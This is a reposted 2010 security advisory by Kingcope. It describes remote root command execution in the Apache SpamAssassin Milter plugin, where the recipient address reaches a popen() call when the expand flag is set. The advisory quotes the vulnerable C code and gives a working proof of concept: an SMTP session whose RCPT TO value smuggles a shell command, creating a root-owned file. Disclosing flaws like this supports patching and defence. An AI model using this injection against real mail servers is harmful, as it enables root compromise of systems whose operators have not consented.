Apache Spamassassin Milter Plugin Remote Root Command Execution

简介: Description: The Spamassassin Milter plugin suffers from a remote root command execution vulnerability.
Description: The Spamassassin Milter plugin suffers from a remote root command execution vulnerability. Full exploit details provided.
Author: Kingcope
  
Spamassassin Milter Plugin Remote Root Zeroday (BTW zerodays lurk in the
shadows not HERE)
aka the postfix_joker advisory
  
Logic fuckup?
  
March 07 2010 // if you read this 10 years later you are definetly
seeking the nice 0days!
  
Greetz fly out to alex,andi,adize :D
+++ KEEP IT ULTRA PRIV8 +++
  
Software
+-+-+-+-+
Apache Spamassassin
SpamAssassin is a mail filter which attempts to identify spam using
a variety of mechanisms including text analysis, Bayesian filtering,
DNS blocklists, and collaborative filtering databases.
  
SpamAssassin is a project of the Apache Software Foundation (ASF).
  
Postfix
What is Postfix? It is Wietse Venema's mailer that started life at IBM
research as an alternative to the widely-used Sendmail program.
Postfix attempts to be fast, easy to administer, and secure.
The outside has a definite Sendmail-ish flavor, but the inside is
completely different.
  
Spamassassin Milter
A little plugin for the Sendmail Milter (Mail Filter) library
that pipes all incoming mail (including things received by rmail/UUCP)
through the SpamAssassin, a highly customizable SpamFilter.
  
Remote Code Execution Vulnerability
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  
The Spamassassin Milter Plugin can be tricked into executing any command
as the root user remotely.
If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied 
recipient (RCPT TO).
  
>From spamass-milter-0.3.1 (-latest) Line 820:
  
//
// Gets called once for each recipient
//
// stores the first recipient in the spamassassin object and
// stores all addresses and the number thereof (some redundancy)
//
  
sfsistat
mlfi_envrcpt(SMFICTX* ctx, char** envrcpt)
{
        struct context *sctx = (struct context*)smfi_getpriv(ctx);
        SpamAssassin* assassin = sctx->assassin;
        FILE *p;
#if defined(__FreeBSD__)
        int rv;
#endif
  
        debug(D_FUNC, "mlfi_envrcpt: enter");
  
        if (flag_expand)
        {
                /* open a pipe to sendmail so we can do address
expansion */
  
                char buf[1024];
                char *fmt="%s -bv /"%s/" 2>&1";
  
#if defined(HAVE_SNPRINTF)
                snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]);
#else
                /* XXX possible buffer overflow here // is this a
joke ?! */
                sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
#endif
  
                debug(D_RCPT, "calling %s", buf);
  
#if defined(__FreeBSD__) /* popen bug - see PR bin/50770 */
                rv = pthread_mutex_lock(&popen_mutex);
                if (rv)
                {
                        debug(D_ALWAYS, "Could not lock popen mutex: %
s", strerror(rv));
                        abort();
                }
#endif
  
                p = popen(buf, "r");                [1]
                if (!p)
                {
                        debug(D_RCPT, "popen failed(%s).  Will not
expand aliases", strerror(errno));
                        assassin->expandedrcpt.push_back(envrcpt[0]);
  
  
[1] the vulnerable popen() call.
  
Remote Root Exploit PoC through postfix
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  
$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me@me.com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok
  
$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo
  
Signed,
  
Kingcope

 

目录
相关文章
|
12月前
|
Java Maven
Error running ‘ssm [clean]‘: No valid Maven installation found. Either set the home directory in the
Error running ‘ssm [clean]‘: No valid Maven installation found. Either set the home directory in the
No package ‘mate-settings-daemon‘ found
No package ‘mate-settings-daemon‘ found
59 0
|
网络安全 开发工具
【解决方案】A session ended very soon after starting. Check that the command in profile “XXX” is correct.
【解决方案】A session ended very soon after starting. Check that the command in profile “XXX” is correct.
790 0
【解决方案】A session ended very soon after starting. Check that the command in profile “XXX” is correct.
|
Java Maven
No valid Maven installation found. Either set the home directory in the configuration dialog or set
No valid Maven installation found. Either set the home directory in the configuration dialog or set
465 0
No valid Maven installation found. Either set the home directory in the configuration dialog or set
That command depends on command in Target 'XXX': script phase “[CP] Copy Pods Resourc 报错解决方法
That command depends on command in Target 'XXX': script phase “[CP] Copy Pods Resourc 报错解决方法
149 0
|
移动开发 Apache Python
Apache James Server 2.3.2 - Remote Command Execution
#!/usr/bin/python # # Exploit Title: Apache James Server 2.
1317 0
F5_Unauthenticated_rsync_access_to_Remote_Root_Code_Execution
http://packetstorm.igor.onlinedirect.bg/1408-exploits/F5_Unauthenticated_rsync_access_to_Remote_Root_Code_Execution.
819 0
|
安全 网络安全 网络协议
ZPanel 10.0.0.2 Remote Command Execution
One of our expert team members (shachibista@gmail.
639 0